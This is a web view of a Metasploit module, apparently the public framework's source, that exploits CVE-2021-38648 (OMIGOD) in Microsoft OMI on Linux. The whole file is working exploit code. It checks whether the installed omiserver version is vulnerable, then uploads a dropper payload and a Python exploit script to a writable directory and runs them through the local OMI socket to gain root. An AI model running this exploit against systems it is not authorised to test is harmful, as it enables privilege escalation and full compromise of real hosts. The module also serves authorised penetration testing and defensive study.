CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/cve_2021_38648_omigod.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Post::File
11
include Msf::Post::Process
12
include Msf::Exploit::EXE
13
include Msf::Exploit::FileDropper
14
15
DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze
16
DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
23
'Description' => %q{
24
By removing the authentication exchange, an attacker can issue requests to the local OMI management socket
25
that will cause it to execute an operating system command as the root user. This vulnerability was patched in
26
OMI version 1.6.8-1 (released September 8th 2021).
27
},
28
'References' => [
29
['CVE', '2021-38648'],
30
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],
31
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
32
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
33
],
34
'Author' => [
35
'Nir Ohfeld', # vulnerability discovery & research
36
'Shir Tamari', # vulnerability discovery & research
37
'Spencer McIntyre' # metasploit module
38
],
39
'DisclosureDate' => '2021-09-14',
40
'License' => MSF_LICENSE,
41
'Platform' => ['linux', 'unix'],
42
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
43
'SessionTypes' => ['shell', 'meterpreter'],
44
'Targets' => [
45
[
46
'Unix Command',
47
{
48
'Platform' => 'unix',
49
'Arch' => ARCH_CMD,
50
'Type' => :unix_cmd,
51
'Payload' => { 'DisableNops' => true, 'Space' => 256 }
52
}
53
],
54
[
55
'Linux Dropper',
56
{
57
'Platform' => 'linux',
58
'Arch' => [ARCH_X86, ARCH_X64],
59
'Type' => :linux_dropper
60
}
61
]
62
],
63
'DefaultTarget' => 1,
64
'DefaultOptions' => {
65
'MeterpreterTryToFork' => true
66
},
67
'Notes' => {
68
'AKA' => ['OMIGOD'],
69
'Stability' => [CRASH_SAFE],
70
'Reliability' => [REPEATABLE_SESSION],
71
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
72
}
73
)
74
)
75
76
register_advanced_options([
77
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),
78
OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])
79
])
80
end
81
82
def check
83
pid = pidof('omiserver').first
84
return CheckCode::Safe('The omiserver process was not found.') if pid.nil?
85
86
omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first
87
omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)
88
return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?
89
90
vprint_status("Found #{omiserver_bin} running in PID: #{pid}")
91
if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/
92
version = Regexp.last_match(1)
93
else
94
return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')
95
end
96
97
return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')
98
99
CheckCode::Appears("Version #{version} is affected.")
100
end
101
102
def upload(path, data)
103
print_status "Writing '#{path}' (#{data.size} bytes) ..."
104
write_file path, data
105
ensure
106
register_file_for_cleanup(path)
107
end
108
109
def find_exec_program
110
%w[python python3 python2].select(&method(:command_exists?)).first
111
end
112
113
def get_socket_path
114
socket_path = datastore['SocketPath']
115
return socket_path unless socket_path.blank?
116
117
pid = pidof('omiserver').first
118
fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?
119
120
if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$}
121
socket_path = Regexp.last_match(1)
122
else
123
begin
124
socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?
125
rescue StandardError # rubocop:disable Lint/SuppressedException
126
end
127
end
128
129
fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?
130
131
vprint_status("Socket path: #{socket_path}")
132
socket_path
133
end
134
135
def exploit
136
python_binary = find_exec_program
137
fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
138
139
vprint_status("Using '#{python_binary}' to run the exploit")
140
socket_path = get_socket_path
141
path = datastore['WritableDir']
142
python_script = rand_text_alphanumeric(5..10) + '.py'
143
144
case target['Type']
145
when :unix_cmd
146
root_cmd = payload.encoded
147
when :linux_dropper
148
unless path.start_with?('/')
149
# the command will be executed from a different working directory so use an absolute path
150
fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')
151
end
152
153
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
154
if payload_path.length > 256
155
# the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the
156
# command that is executed
157
fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')
158
end
159
160
upload(payload_path, generate_payload_exe)
161
cmd_exec("chmod +x '#{payload_path}'")
162
root_cmd = payload_path
163
end
164
165
upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))
166
cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"
167
vprint_status("Running #{cmd}")
168
output = cmd_exec(cmd)
169
vprint_line(output) unless output.blank?
170
end
171
end
172
173